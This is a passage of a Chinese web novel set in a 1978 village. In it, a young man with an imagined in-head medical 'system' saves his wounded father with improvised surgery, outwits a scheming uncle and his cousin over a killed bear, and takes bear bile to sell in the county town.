他阴狠地一转眼珠，快步凑到一直沉默的生产队长王福身边，压低声音飞快说了几句。 王福本已觉林二牛不地道，脸色刚缓和，听完耳语后却瞬间为难又严肃。 他清了清嗓子，干涩地对林卫国开口：“卫国啊……救人第一位。但……二牛刚才有句话，也不能说全错。” 王福加重语气：“山的确是国家的，山里的东西一样，这事儿……怕不是咱们村儿里能解决的。” 一句话，让刚缓和的气氛瞬间降至冰点。 王福的话说的没错，这件事如果单是他们村儿的事，那也就算了。 可天下没有不透风的墙，事如果传出去了，别的人是不是眼红，那就另当别论了。 林卫国眉头紧锁，快速盘算着对策。 李二牛这是要退而求其次，死活想分一杯羹。 熊绝不能上交公社！否则顶多得句表扬，哪来的钱治病？ 表扬不能当饭吃，更抵不了医药费！ 林二牛脸上则毫不掩饰地露出得意冷笑。 他爹早说过，对付林卫国这种自认聪明的读书人，讲道理没用，就得用规矩压死！ 生产队长王福满脸为难。他夹在中间，看看担架上气若游丝的林长山，又看看脸色铁青的林卫国，暗自叹气。 他同情林家遭遇，又实在不敢担违反政策的责任。 “卫国啊，你看……”王福搓着手，用商量的口吻道，“人命关天，咱们先下山。这熊也抬回村保管。我立马派人去公社汇报，等上面指示，咋样？” 这话在情在理，既顾及救人，也走了程序。但林卫国心中冷笑。 前世社会摸爬滚打多年，这种和稀泥的套路他太熟了。 “等上面指示”？熊一旦回村，他林家哪还有半点话语权？到时候公社干部随便找个借口就能拉走，哭都没地方哭去！ 绝不能让他们把熊控制住！ 就在众人以为林卫国要据理力争或无奈屈服时，他脸上猛地涌起沉痛和无比惋惜的神情。 “唉！”他狠狠叹出口气，脸都揪紧了。 “队长，叔伯们，快看这儿！”林卫国突然指着黑熊肚子上一处地方，语气急得不行，“刚才太急了，为救我爹，我一刀捅过去……坏事了，怎么捅破了熊胆！” 说着话，他脚在雪地里碾了下。像是踩到了什么，一个指甲盖大小的深色药瓶‘啪嚓’一声碎了，黄褐色液体淌进雪里。 他借着鞋底沾上的雪水污渍，顺势在熊腹那伤口旁边蹭了蹭。 紧接着，一股又苦又冲的腥气就从熊肚子里冒出来，呛得近处的人直皱眉头。 “嘿！还有这熊掌！”林卫国不等大家喘气，又懊恼地指向黑熊一只前爪。那爪子被石头撞的，血肉模糊，骨头都露出来了，“它扑过来，我爹拿铁矛顶住，硬是和石头磕了几下……没救了，骨头都碎了，就剩烂肉，哪还卖得出去？”他摇着头，一脸痛惜。 一听这话，人群呼啦围上来看。 几个鼻子凑近的村民使劲一嗅，立刻炸开了锅： “没错！就是这味儿！苦腥苦腥的，熊胆绝对破了！” “啧，这爪子完了……碎成这样！” “都见骨渣了，肉都糊了，卖个屁钱！” “完了，值钱货全白瞎了！” 叹息声、抱怨声响成一片。 第7章 只有我能救他！ 熊胆破，熊掌烂。几百斤的黑熊，价值瞬间掉了九成！剩下就一张皮和几百斤肉了。 林二牛脸上的笑容僵住，像被冰雪冻结。他简直不敢相信——刚才还好好的，一眨眼最值钱的东西就全没了？ 他眼珠发红，不信邪地想冲上去细看。 “二牛哥！”林卫国一步横跨拦住去路，眼神冰冷，“我爹都快不行了，你还惦记这些东西？” 一句话再次把林二牛钉在耻辱柱上。村民们投来的鄙夷目光，让他脸色瞬间涨成猪肝色。 林卫国不再理他，转向王福，挤出无比“诚恳”： “队长，您看，现在就这样了。”他摊手，一脸无奈，“这么个‘残次品’，胆破了掌也烂了，就剩点肉骨头。要送去公社，不是丢咱红旗大队的脸？不知道的，还以为咱故意扣下好东西，拿破烂糊弄国家奖励呢！万一让公社领导误会，对您也不好……” 王福听得连连点头，深以为然。确实，为了这点破烂去汇报，不仅捞不到好处，反可能被当成投机倒把典型，吃力不讨好。 见王福意动，林卫国立即递上台阶： “队长，我看不如按山里老规矩办。我爹这也算‘为民除害’。熊肉按人头分给今天上山的叔伯兄弟，也算给我爹积福，盼他早点好。剩下这皮和骨头架子，折点钱给我爹救命请大夫。您看这样行不？” 提议简直说到王福心坎里！给他面子，安抚村民，解决药费，更完全撇清了责任！ “有道理！卫国想得周到！”王福一拍大腿，当场拍板，“就这么办！救人要紧！都别愣着，搭把手，把长山兄弟和熊都抬回去！” “好嘞！” “卫国放心，我们帮你！” 矛盾与贪婪霎时消散。众人齐心协力，用藤条树枝做好两个简易担架，一个抬林长山，一个绑巨熊，浩荡下山。 林二牛气得浑身发抖，肺都要炸了。眼睁睁看着林卫国三言两语盘活死局，自己不但没占到便宜，反倒成了里外不是人的小丑，只能跟在人群后面，干吃哑巴亏。 …… 消息像长了翅膀，先一步飞回村里。 当林卫国一行人抬着担架出现在村口，几乎全村老少都围了上来，黑压压一片，把村头大槐树下堵得水泄不通，个个伸长了脖子看热闹。 人群中，一个穿干净蓝色中山装、头发梳得齐整、脸色阴沉的中年男人排众而出。 正是林二牛的父亲，林卫国的二叔——林长富。 他看都没看那头引得轰动的黑熊，目光直勾勾地、死死盯住担架上昏迷不醒的林长山，脸上硬是挤出无比“关切”的神情，声音提得老高： “大哥！我的亲大哥！你这是怎么了啊！” 林长富一脸痛心疾首，猛地扑到担架前，抓住兄长冰冷的手嚎啕大哭： “大哥！我的亲大哥啊！你怎么伤成这样了！是哪个天杀的畜生害的你！” 他声泪俱下，涕泗横流，模样悲切异常，显得比妻子孙秀娥还要伤心数倍。 围观的村民们不明就里，见此情景纷纷点头，觉得林家老二虽然平时懒散，对兄长倒是情真意切。 林长富哭嚎了一阵，突然站起身拉住六神无主的孙秀娥，斩钉截铁地说： “大嫂！你一个妇道人家肯定慌了神！别怕，有我！” 他拍着胸脯，声音洪亮地向众人宣布： “我立马托人去县城，不，去市里！请最好的大夫！咱家就是砸锅卖铁，也得把大哥的命救回来！” 这番担当十足的话，让孙秀娥感激涕零，连声道谢。 林长富随即脸色一沉，冲儿子林二牛和几个亲戚喝道： “还愣着干什么！没听见我说话？快把大哥抬我家去！这儿风大，耽误了病情谁负责！” 他心里的算盘打得噼啪响。 只要把人接过去，这看病花多少钱、欠多少人情，还不都由他说了算？大房一家就欠他天大的人情了！ 捏住这份人情，那头值钱的熊、大哥伤后种不了的田地、甚至林卫国这个高中生的前途……不都归他拿捏？ 这一手，就是要彻底把大房攥在手心！ 孙秀娥哪想得到这些弯绕，丈夫倒下她就失了主心骨。小叔子如此担当，她只有感激，正想答应—— “不用了，二叔。” 一个冰冷的声音打断了林长富的表演。 林卫国站直身体，目光平静地重复道： “我说了，不用。我爹的伤，我能治。” 嘈杂的村口瞬间寂静，紧接着爆发出一阵哗然。 “啥？他说啥？” “林卫国说他能治？读书读傻了？” “他爹胸口都塌了，县里大夫都不敢打包票，他一个毛头小子……” 所有人像看傻子一样盯着林卫国，目光里满是荒谬与不信。 林长富先是一愣，随即爆发出夸张大笑。笑声骤停，他指着林卫国鼻子破口大骂： “小兔崽子胡说什么！读书读傻了心是吧！你爹的命能让你瞎胡闹？！” 他唾沫横飞，一副痛心疾首状： “你懂个屁的医术！知道你爹伤多重吗？耽误了治疗，你就是杀人凶手！不孝子！” 最后三字他咬得极重，像三座山压向林卫国。他要站在道德高地，用“孝道”这把刀，彻底压垮侄子！ 仿佛印证林长富的话，担架上的林长山突然剧烈咳嗽起来。 “咳……咳咳……” 大口混着黑血的血沫从他嘴里涌出，脸色迅速青紫，眼白上翻，四肢抽搐，眼看就要断气！ “爹！”林卫国脸色大变。 “长山！”孙秀娥尖叫着扑上去。 人群惊呼连连，吓得后退。 林长富嘴角掠过一丝不易察觉的得意。他就是要逼得大房走投无路，最后来求他！ 然而林卫国在最初的惊慌后瞬间镇定。 他用系统飞速扫描父亲状况，脑中响起刺耳警告： 【警告：断裂肋骨二次移位，刺破肺血管！急性大出血堵塞呼吸道！90秒内将窒息休克死亡！】 他瞳孔猛缩，立刻对吓傻的孙秀娥喝道： “娘！爹的断骨又戳进肺里了！村里、城里大夫都来不及！只有我能救他！” 第8章 林卫国！你这畜生！ 林卫国无视周围的目光，看着母亲，语速极快且坚定的道：“娘，信我！” “马上把爹抬回家！锁门！谁也别放进来！” “给我准备一锅家里最烈的烧刀子！” “再找几根纳鞋底用的粗钢针！” “把剪刀、菜刀，全给我扔锅里，煮透！” 每一个字都像惊雷在众人耳边炸响。 用最烈的酒、纳鞋底的针、家常的刀剪……救一个胸膛塌陷的垂死之人？ 这不是治病，是屠宰！ 这完全不合常理、骇人听闻的指令，让所有人倒吸一口凉气，看林卫国的眼神彻底变了——从傻子，变成疯子。 林卫国那句骇人的话落下，整个村口死一般寂静。 所有目光像探照灯一样，唰地聚焦在孙秀娥身上。这决定在众人看来，直接关系到担架上林长山的生死。 孙秀娥嘴唇哆嗦得厉害，脸上没有一点血色，思绪乱如麻。理智在尖啸：儿子疯了！菜刀和纳鞋底的针用来开膛破肚？那是杀人！可心底深处，另一个声音疯狂冲撞着这念头。 林长富见她迟迟不决，厉声吼道：“大嫂！你还愣什么神？真想眼睁睁看着大哥咽气？快点头，我这就去请大夫！” 村民的窃窃私语像细密的针，扎进孙秀娥心里： “卫国娃受刺激太重，都说胡话了……” “太吓人了，哪有这样治病的？跟杀猪没两样……” “哎，长山兄弟真是遭了大罪啊……” 巨大的压力几乎将孙秀娥压垮。就在这时，她脑中猛地闪过黑瞎子沟那一幕：同样是丈夫命悬一线，同样是儿子不容置疑的命令，同样是匪夷所思的动作。结果呢？儿子硬生生把男人从鬼门关抢了回来！ 那一刀放出毒气的神奇景象，是她亲眼所见！ 一个母亲的本能和信赖，瞬间压倒了所有恐惧和常识。她猛地咬牙，红肿的双眼迸射出从未有过的决绝。 “都闭嘴！”她嘶声尖叫，压下了所有议论和催促，“我信我儿子！回家！关门！” 这一声吼，镇住了所有人。 林长富脸上写满不可思议：“大嫂？你…你也跟着他一起疯了？！” 孙秀娥不再理睬任何人。老猎人李大山深深看了林卫国一眼，又望向孙秀娥决绝的神情，重重点头：“成！我们信卫国！” 他二话不说，招呼几个信得过的青壮，抬起担架冲向林家那破败的小院。 “咣当！”一声巨响，薄薄的柴门被从里面死死闩上，隔绝了所有喧嚣与质疑。 林长富暴跳如雷，冲到门前狠狠砸门，破口大骂： “反了！真是反了天！孙秀娥！开门！” “你们这是草菅人命！要亲手害死大哥啊！” 无人应答，他更疯癫了，捡起石头狂砸木门。叫骂声、砸门声、村民惊恐的议论声搅成一团，小院外气氛紧绷到了极点。 屋里，却是截然相反的死寂。 林卫国仿佛聋了一般，眼中只剩下门板上垂危的父亲。 “招娣，油灯挪过来，按住，别晃。”声音平稳得不带一丝波澜。 九岁的林招娣小脸煞白，仍紧紧抱住昏暗油灯，用尽全力稳住。 “娘，”林卫国转向母亲，“锅里煮开的烧刀子，从我指尖到手肘，仔细擦洗三遍。然后，把那把最小的剔骨刀递我。” 儿子的冷静感染了孙秀娥。她抛开杂念，咬牙照做。滚烫的烈酒浇在手上，灼痛感袭来，林卫国眉头都未动一下。 昏暗摇曳的灯光下，一场在1978年农村惊世骇俗的“手术”，开始了。 “娘，按住爹肩膀！” 林卫国一手按住父亲胸口，另一只手紧握消过毒的剔骨刀。刀身极薄，本是处理猎物骨肉所用。 外人看来，他不过是在昏暗光线下凭感觉下刀。 唯有他自己清楚，脑海中的战术医疗系统正投射着清晰的实时3D解剖图——父亲胸腔内每一根血管、每一条神经、每一块肌肉都纤毫毕现。 没有麻药。 他左手闪电般探出，在父亲颈侧和肩胛几处特殊位置，以难以理解的频率和力度快速按压几下。这是系统所载的神经阻断手法，能迅速截断痛觉传导，使人陷入深度昏迷。 果然，林长山的痛苦呻吟瞬间停止。 林卫国深吸一口气。在三维图的精准引导下，剔骨刀沿着父亲胸侧两根肋骨间的缝隙，再次切开一道寸许长的小口。 鲜血立时涌出。 紧接着，最骇人的一幕上演。 “娘，用筷子撑开伤口。”林卫国递过煮过的筷子。 随后，在母亲几乎魂飞魄散的注视下，他将自己的食指和中指，缓缓而坚定地，探进了那片血肉模糊的口子！ 手指，深入了父亲的胸腔！ “呃……”孙秀娥眼前发黑，几乎晕倒。用手……手指伸进活人的腔子里？！这…… “别分神！撑住！”林卫国猛地低喝。 那眼神冰冷锐利，带着不容置疑的威严。孙秀娥不敢有丝毫松懈，死死用筷子撑开伤口，泪水无声狂涌。 她看不见的，林卫国却“看”得真真切切。 系统实时透视图像下，他精准避开搏动的肺叶和血管，手指在温热的胸腔内，终于触到了那根再次移位的肋骨断端。 他小心翼翼，用两指轻轻夹住断骨，一点一点，极其轻柔又无比坚定地，将它从肺部创口挪开。 然后，缓缓推回到了原位。 肋骨，终于复位！ 几乎在同时，林长山那急促紊乱的呼吸，变得平稳悠长。 林卫国缓缓抽出手指。直起身的瞬间，眼前阵阵发黑，浑身早已被冷汗浸透。刚才的极限操作，榨干了他的精神。 父亲的命，又一次被他从鬼门关前抢了回来！ 就在这心神彻底松懈的刹那—— “嘭！” 一声震耳欲聋的巨响！ 那本就破旧的柴门再也支撑不住，被门外一根巨木狠狠撞开！碎裂的木片如雨飞溅！ 林长富带着几个面目狰狞的男人，饿虎般冲入。 他一眼就看到了屋内的血腥，看到了林卫国那双沾满鲜血的手。 双眼霎时赤红，他指着林卫国，用尽平生力气嘶吼咆哮： “林卫国！你这畜生！你真敢杀了你爹！” 第9章 你们，别吵到他 林长富带人破门而入。屋内血腥的场景撞入眼帘——林卫国满手鲜血，门板上的林长山一动不动。 林长富立刻把想好的罪名吼了出来，声音恶毒： “林卫国！你这畜生！竟敢杀你爹！” 这一声，成了信号。 被挡在屋外的村民再也忍不住，呼啦一声涌了进来。看清屋内景象，所有人倒吸一口凉气！ 昏暗油灯下，地上散落带血布条，陶盆里盛着浑浊血水。浓烈的血腥和酒精味弥漫在空气中。门板上的林长山胸口衣衫剪开，一道清晰的刀口露在外面。他双眼紧闭，无声无息，跟死人没两样。 眼前一切，完美印证了林长富的指控。 “天！卫国……真动刀了！” “疯了！这孩子彻底疯了！哪有儿子捅爹的！” “早说过不能信他！长山兄弟一条命啊，给他亲儿子弄没了！” “丧心病狂！真丧心病狂啊！” 唾骂指责如潮水，劈头盖脸砸向林卫国。 林长富脸上堆满了痛心疾首，演得入木三分。他一把推开精疲力尽的林卫国，作势就去探林长山的鼻息，声音带着哭腔大喊： “大哥！你死得好惨！放心，二弟一定替你讨公道！” 他心里算盘打得响：只要当众“证实”大哥死了，林卫国“凶手”的罪名就板上钉钉！到时候名正言顺把这眼中钉扭送公社，大房一家，还不任他拿捏？ “别碰我爹！” “我哥是救人！不是杀人！” 孙秀娥和林招娣吓得面无人色，哭喊着想阻拦，却被林长富带来的两个壮汉死死拉住，只能眼睁睁看着他伸手，步步逼近担架。 生产队长王福和老猎人李大山也面露不忍。之前或许还有疑虑，可这景象……人死是天大的事，林卫国这次，闯下大祸了。 然而，身处千夫所指的绝境，林卫国却异常平静。 他甚至没阻止林长富伸向父亲的手，只是用冰冷得毫无感情的语调，淡淡地说： “我爹累了，在休息。都小声点，别吵他。” 这话在激愤的众人听来，简直是疯话。 人被你捅死了，还说在休息？不是疯子是什么！ 林长富心中冷笑，手更快了。他似乎已看到林卫国被五花大绑押走的模样。 他的手指，眼看就要碰到林长山冰冷的鼻翼…… 就在这万众屏息的瞬间！ 门板上那个本该“死透”了的林长山，喉咙里忽然发出一声轻微却无比清晰的—— 呼噜！ 这一声，如同炸雷，在所有人耳边轰然响起！ 时间瞬间凝固。 林长富伸出的手猛地僵在半空！脸上的悲愤与得意寸寸龟裂，最后化为活见鬼般的惊骇茫然。 涌进屋子里的村民，包括拽着孙秀娥母女的壮汉，全都像被施了定身法，石化了。一个个眼珠瞪得滚圆，嘴巴张得能塞鸡蛋，死死盯着床上那个胸膛随呼吸平稳起伏的“死人”。 活的？！ 怎么可能！ 林二牛最先回神，结结巴巴喊：“装……装的吧？回、回光返照！对，肯定是回光返照！” 林卫国连眼角都懒得扫他，径直走到床边弯腰，在父亲耳边轻声说了一句，只有近前几人能听见： “爹，二叔他们兴师动众来看你了。” 话音刚落。 在十几双眼珠的凝视下，林长山无力垂在床边的手指，轻轻地、清晰地——动弹了两下。 如果说那声鼾是惊雷，这手指两下动弹，就是彻底击碎所有人世界观的神迹！ 再无人敢怀疑。 死寂过后，是倒吸冷气的嘶声与慌忙倒退的脚步声。 村民们看林卫国的眼神，瞬间从指责、鄙夷、愤怒，变成无法言喻的敬畏…… 甚至，是深深的恐惧！ 他们看不懂。在他们朴素的世界观里，用菜刀筷子就能把快死的人从阎王手里抢回来的手段…… 这哪儿是医术？分明是妖法！ 就在这时，门口传来气喘吁吁的声音： “让让！都让让！长山咋样了？我带最好的金疮止血散来了……” 村里的赤脚医生王有才，背着破旧药箱，满头大汗挤进来。他是被林长富十万火急请来的，本以为处理外伤，没想到是这般诡异场面。他看着屋内的狼藉和众人的表情，一下子也愣住了。 林长富如同抓住了最后一根稻草，他完全无视刚才的一切，指着林卫国，嗓子几乎劈了对着刚进门的王有才嘶喊： “王医生！来得正好！快看看！这小畜生不懂装懂乱动刀，我大哥……我大哥眼看要被他治死了啊！” 林长富如同抓住救命稻草，一把将气喘吁吁赶来的赤脚医生王有才推到床前。 “王医生，快！仔细点看！”他指着林卫国，声音因激动扭曲，“这小子胆大包天，拿刀捅了我大哥！你说话啊，我大哥怎么样了！” 作为红旗生产队附近唯一的医生，王有才顿时成了焦点。他每句话都关乎这件大事的定性。 看着林长富那双充满暗示的眼睛，王有才硬着头皮上前。浓重的血腥味和酒气呛得他直想后退。 他哆嗦着俯身，掀开林长山胸口的破布只瞧了一眼，脑袋“嗡”的一声，一片空白。那刀口虽只寸许，位置却凶险万分，紧挨着心口窝！ 这……还有命？ 可当他颤抖着搭上林长山的手腕时，却愣住了。脉搏虽微弱，却沉稳有力，规律跳动。他又凑近听了听呼吸，悠长平稳，居然还带着轻微的鼾声。 这……哪像要死的人？ 被捅了一刀的人，不该四肢冰冷、气息奄奄？怎么还能打呼噜？ 王有才彻底懵了。行医十几年，靠的是几张祖传草药方子治点小病小伤，眼前这情形，完全超出了他的认知。 他支支吾吾，冷汗直冒，说不出个所以然。 林长富见状很是着急，急促的问道：“王大夫到底咋样啊！” “你说话啊！” 王有才看看林长富，憋的满脸通红，可就是说不出个所以然来。 正此时，林卫国开口了。 “断了三根肋条，有一根扎穿了肺。” “治疗已经做了，但人需要静养，不能随便乱动。” 第10章 模糊却全新的希望 气胸？断骨复位？ 王有才听得云里雾里，那些词闻所未闻，却本能地感到厉害。 但他毕竟是村里的医生，权威不容挑战。 他壮着胆子，梗着脖子反驳：“胡说八道！我一辈子行医，没听过这种治法！胸口开个洞还能活？你骗鬼呢！” 林卫国懒得争辩，只眼神锐利地扫了他一眼，反问：“你打算治？是用你那包止血粉糊伤口，还是灌几碗吊命的草药汤？” 这正是王有才的拿手本事。 没等他开口，林卫国又冷冷道：“他现在胸腔里还有血，你灌半口汤下去，只要呛进肺里堵了气管，大罗神仙来了也难救。不信？你试试？” “你……！” 王有才瞬间哑口无言，后背冷汗涔涔。 他不懂气胸，却清楚呛咳的厉害！ 林长山这样，再被汤水一呛，必死无疑！林卫国说得对，他那两下子，用在这儿就是杀人！ 所有辩解和质疑，在林卫国轻飘飘的几句话面前，碎得一干二净。 被那双深邃眼睛盯着，王有才感觉自己被看了个底掉，再不敢嘴硬。 他擦擦额头冷汗，转向等消息的生产队长和林长富，艰难开口： “这伤……太重了，我……治不了。” 他先撇清关系，又看看面色平稳的林长山和淡定的林卫国，终于说出实话，“卫国这法子……我看不懂，也没见过。但……人，确实被他救回来了。” 这话像一记响亮的耳光，狠狠抽在林长富脸上，也当众宣告了他今晚所有算计彻底失败。 哗啦一声，院里炸开了锅！ 村民们的目光钉在林卫国身上，彻底变了味道。 前一瞬还觉得他是个疯子，这会儿倒像看怪物了！ 眼神里全是难以置信和……畏缩。 林长富脸上没了血色，身子晃了晃，差点栽个跟头。 他心里透亮，全完了！ 不光没按住大房，反倒把自己这张老脸狠狠摔在地上，碾了个稀碎。 “爹…咱、咱回吧？” 林二牛再不见之前的嚣张，扯着父亲的衣角，声音发颤，脸上只剩害怕和丢人。 林长富猛地抬头，死盯了林卫国一眼，那眼神毒得很，恨不得把林卫国刻进骨头缝里。 人群里嗡嗡的议论，针一样扎人。 林长富站不住了，狼狈地一挥手，带着儿子和一帮手忙脚乱的跟班，像被抽了脊梁骨的狗，夹着尾巴冲出了林家小院。 这条搅得人心惊肉跳的老狗一走，院里紧绷的弦总算松了下来。 林卫国，就凭他这手谁也摸不着边的医术和敢豁出去的胆气，实实在在在村里人面前，第一次立住了！ “儿啊！我的儿！” 孙秀娥再也忍不住，一头扑进儿子怀里，放声大哭，“我的傻儿子，你要吓死娘啊！老天爷，多亏你……多亏你抢回你爹这条命……”粗糙的手掌捧着林卫国的脸，泪水滚烫。 林卫国轻拍着母亲单薄的背，心头暖烘烘的。 翻过一道浪，新的坎儿又在眼前。 命是保住了，可这骨头断了筋扭了的，没百十天好不利索，更何况是要命的大伤？后续吃药、补身子，都得靠钱堆着。家里呢？穷得叮当响，米缸都快空了壳。 孙秀娥擦着泪，望望院里小山似的熊尸，眉头拧成了疙瘩：“卫国，这……这东西咋弄？你爹的身子，拖不起啊……” 听着母亲带着哭音的担忧，林卫国心里又酸又软，用力握住那双布满茧子的手，眼神像山石一样硬：“娘，别怕。钱的事，有我！” 给爹买药补身子，火烧眉毛。 他立刻去拾掇熊。肉可以分给邻舍，但那最值钱的宝贝，必须捏在自己手心。 那假的“熊胆”和瞧着磕碜的熊掌，在村里不值钱不说，还容易招祸。 真想换大价钱，非得跑一趟几十里外的县城！ “去县城？” 孙秀娥一听就慌了神，“那么远的路！你一个人去？娘的心不得悬到嗓子眼！再说那破胆烂掌的，谁买？别白跑一趟再让人坑了！” “娘，信我。” 林卫国反过来宽慰她，语气里有种超乎年龄的沉稳，“东西看着不起眼，保证是金疙瘩！您在家好好顾着爹，其他的，我担着！” 他利落地转到熊尸边。在那匕首划开的腹腔里，手指一探，摸到了那颗毫发无损的真熊胆——这才是压箱底的宝！ 下手又快又稳：消过毒的针筒小心抽出一小管浓稠深褐的胆汁，油纸里三层外三层裹紧捆牢，确保一丝味儿不漏。 那几个卖相实在欠佳的熊掌，他也仔细剔净碎骨毛发，用块旧蓝布打了包。 品相差？不打紧。 他要卖的，不是模样，是实打实的效力！ 第二天，天还青灰。林卫国揣好两个布包，敲开了老猎户李大山的门。 李大山一听他是去县城给林长山抓救命药，二话没说，把院里那辆除了铃铛哪儿都稀里哗啦乱响的“二八铁驴”推了出来。 “卫国，骑慢点儿！车闸可有点不听话！” “哎！知道了，叔！” 林卫国跨上大梁，在乡亲们好奇的张望里，生平头一遭，朝着县城的土路骑了下去。 七十年代末的道，坑坑洼洼。 老旧的自行车颠簸得浑身骨头都在叫。林卫国心里却揣着火种，车轮碾过贫瘠的土地，嘎吱嘎吱，朝着那个模糊却全新的希望跑去。 不知蹬了多久，前头地平线上，总算冒出些矮墩墩的房影——县城到了！ 街上铺着水泥，虽窄，可比村里的烂泥道强百倍。 两边多是灰砖瓦房或红砖平房，偶尔冒出一座二层小白楼，简直算得上“摩天大楼”了。 行人大多灰扑扑的，蓝黑灰是主色。 穿着中山装、劳动布褂子的男人，穿着碎花或深色“的确良”的女人们。 偶尔过去一个烫了卷发、穿红裙子的姑娘，能引来好几道直勾勾的目光。 路边最扎眼的是供销社。 门框上红漆刷着“为人民服务”，里头水泥柜台高得晃眼，穿着白大褂的售货员靠在柜台上，摇着黑色拨盘电话，嘴里说着什么，眼角都不撩一下。 柜里摆着暖瓶、脸盆、蛤蜊油…… 供销社斜对面，是县里唯一像模像样的国营饭店。 门缝里飘出白面的香气，暖乎乎的。 好些揣着粮票饭票的“公家人”进进出出，端着热腾腾的肉丝面、捏着油汪汪的大包子，看得路过的庄稼人直咽唾沫。 【亲爱的读者，如果认为内容可以，记得加入书架哦，方便下次阅读~】 第11章 土郎中 林卫国顾不上瞧街上，步子很快，拐进县城东一条不起眼的小巷。巷口有块旧木牌，漆都掉光了，隐约写着“县药材收购站”。 就这了。 推开那扇斑驳的木门，一股子陈木头混着各色草药的味道直撞鼻子。柜台后头，一个穿着白“的确良”衬衫的中年男人，翘着腿，端着搪瓷茶缸子，另一只手搭在旁边正吱哇唱样板戏的旧收音机上，看报纸。 赵胜利，收购站的主儿。 门响动。赵胜利慢腾腾从报纸上抬起眼皮。那双眼睛在林卫国身上打了个来回——从打补丁的粗布衣襟，扫到糊满黄泥的解放鞋面——那股子瞧不起人的劲儿，快挂不住了。 “有事？”他连肩膀都懒得动一下，话音拖着调子，懒洋洋的，带着股高高在上的味儿。 “同志，劳驾您给瞅瞅，这两样东西，能收么？”林卫国把话放得很恭敬，小心翼翼地把两个布包袱搁上柜台。 赵胜利这才不紧不慢撂下报纸，踱过去，手指头捻着，带着点不经心，挑开了包袱。里头是水唧唧、泥巴似的熊掌，还有软塌塌、汁水滴答的熊胆。他脸上的鄙夷差点没兜住。 他叼上根烟，“嗤”一下划火柴点上，用小拇指上那点指甲盖，嫌弃地拨了拨油纸包，一股子腥气直冲鼻子。他斜眼睨着林卫国，打鼻孔里哼出话： “小子，拿这鬼画符糊弄谁？胆都沤成酱了，里头能剩下点啥值钱玩意儿？这熊掌么……”他拖着长音，故意咂咂嘴，“啧，野狗啃剩的都比这囫囵！” 吐了个烟圈儿，腔调变了，像是可怜人： “啧，看你这穷骨头，命里带的吧？” “三十块，这一堆破烂我权当做好事了，要卖就这个价，就这了！” 三十块？ 林卫国心里像被砸了一下。黑市上，一个囫囵熊胆少说值三百！这明摆着是欺人太甚！ 然而，他脸上波澜不起，没红脸，更没一句争辩。 他清楚得很，跟这种势利眼纠缠毫无意义。你越急，他压价越狠。 他只是平静地把东西重新包好，收进怀里，淡淡道： “既然赵科长看不上这点‘残次品’，那我就不耽误您功夫了。” “我去县医院门口转转，没准能碰上识货的主顾，总比砸手里强。” 说完，他转身就朝门口走。 快到门口，手刚搭上门把，他脚步忽然一顿，像是自言自语地低声嘀咕了一句： “唉…可惜了。村里老辈说，雪地里被逼到绝路的熊，那胆…专克小儿惊风、高热不退。本想换钱给家里老人治咳喘…” 声音不高，却像根尖刺，狠狠扎进赵胜利耳朵里！ 赵胜利正端起茶缸等着看笑话，猛地听到“小儿惊风、高热不退”八个字，端茶的手剧震！滚烫的茶水洒了一手都浑然不觉！ 那双鄙夷傲慢的眼睛里，瞬间被难以言喻的震惊和急迫填满！ “小兄弟！” 赵胜利几乎是从柜台后面弹射出来，三步并两步冲到门口，一把死死抓住林卫国胳膊，语气来了个一百八十度大转弯，声音因激动变得尖利： “小兄弟！你等等！你先别走！” 他死死盯着林卫国，气息急促： “你……你刚说……这东西，真能治孩子的惊风高热？” 赵胜利态度一百八十度大转弯，林卫国心里有数了：赌对了。 “小兄弟，外面冷，快进屋坐！”赵胜利前一秒还端着架子，后一秒却像见了亲人般热情，不由分说地把林卫国拉回来，径直带进了收购站里那间从不对外开放的里屋——他的办公室兼卧房。 “来，喝水！”赵胜利亲手泡了杯热气腾腾的麦乳精，又掏出“大前门”递上：“抽烟不？” 林卫国摆摆手没接，平静地看着眼前判若两人的男人，开门见山：“赵科长，有急事？说吧，怎么回事？” 赵胜利笑容僵在脸上，瞬间垮掉，化作浓重的愁苦与绝望。他狠吸一口烟，四十多岁的汉子，眼圈“唰”地红了。 在林卫国的注视下，他哑着嗓子开口。 他有个五岁的独子赵小宝，是他们夫妻俩的命根子。可半个月前，孩子突然开始反复高烧，尤其到了夜里，浑身抽搐、口吐白沫，像中邪一样。 他带儿子跑遍了县医院，所有大夫都束手无策，只能当重感冒治。然而打针吃药全使遍了，孩子烧就是退不下来，如今被折磨得脱了相，只剩皮包骨头。 就在昨天，主治刘医生下了病危通知，让他们……准备后事。 说到这儿，赵胜利再也忍不住，眼泪混着烟灰滚落：“小兄弟，我……我真是走投无路了！只要能救我儿子，让我干啥都行！所以刚才一听你说熊胆能治小儿惊风，我才……我才那样失态。” 原来如此。 林卫国心念电转，一个大胆计划瞬间成形。 这不只是卖药材的机会，更是把“神医”名号从小山村打进县城的关键一步！是他未来安身立命、改善家境的基石！ 他没有大包大揽，沉吟片刻，端起麦乳精抿了一口才缓缓道：“赵科长，熊胆，尤其这种绝境下的野熊胆，确有定惊退热的奇效。但你看到了，我这块品相不咋地，药力恐怕不够根治。” 赵胜利眼中刚燃起的火苗，瞬间黯淡。 “不过……”林卫国话锋一转，“熊胆治标，病根不在这。这样吧，我跟你去医院看看孩子。家里有祖传的方子，或许能用上。若治好了，熊胆熊掌按市价三百块给我。若治不好，分文不取，立刻走人，绝不多言。” 赵胜利猛地抬头，眼中爆发出强烈的光芒！他一把拉住林卫国就往外冲。 半路碰上闻讯赶来的妻子。一听丈夫竟要带个穿着补丁的半大孩子去看儿子，她立刻急了，死死拽住丈夫：“老赵！你疯了？！医院大夫都没办法，你信个毛头小子？他要把我儿子治坏喽，我跟你拼命！” “你懂个屁！”赵胜利急红了眼，甩开她吼道，“大夫都说没救了！但凡有丁点希望，我都得试试！”他不再理会哭闹的妻子，带着林卫国火速赶到了县医院。 二楼儿科病房药水味浓重。林卫国一眼看到病床边那个负责照顾孩子的年轻护士。 她叫苏晚夏，洗得发白的护士服裹着纤瘦身形，眉眼清秀，神情却异常严肃。那双明亮的眼睛里，尽是疲惫焦虑。 苏晚夏正给孩子做物理降温，见赵胜利带了个“土郎中”进来，立即皱眉，起身挡在床前，公事公办厉声拒绝： “赵科长！医院有规定，不能允许不明身份的人接触病人！孩子病情危急，禁不起折腾！”她尽职尽责，看向林卫国的眼神却充满不信任与警惕。 第12章 比金子还难求 林卫国看都没看她，目光落在病床上那瘦小的孩子身上。 孩子双目紧闭，面色潮红，昏迷中四肢仍在微弱抽搐。 他只扫了一眼，上前轻翻开孩子眼皮看了看，便直接对赵胜利道： 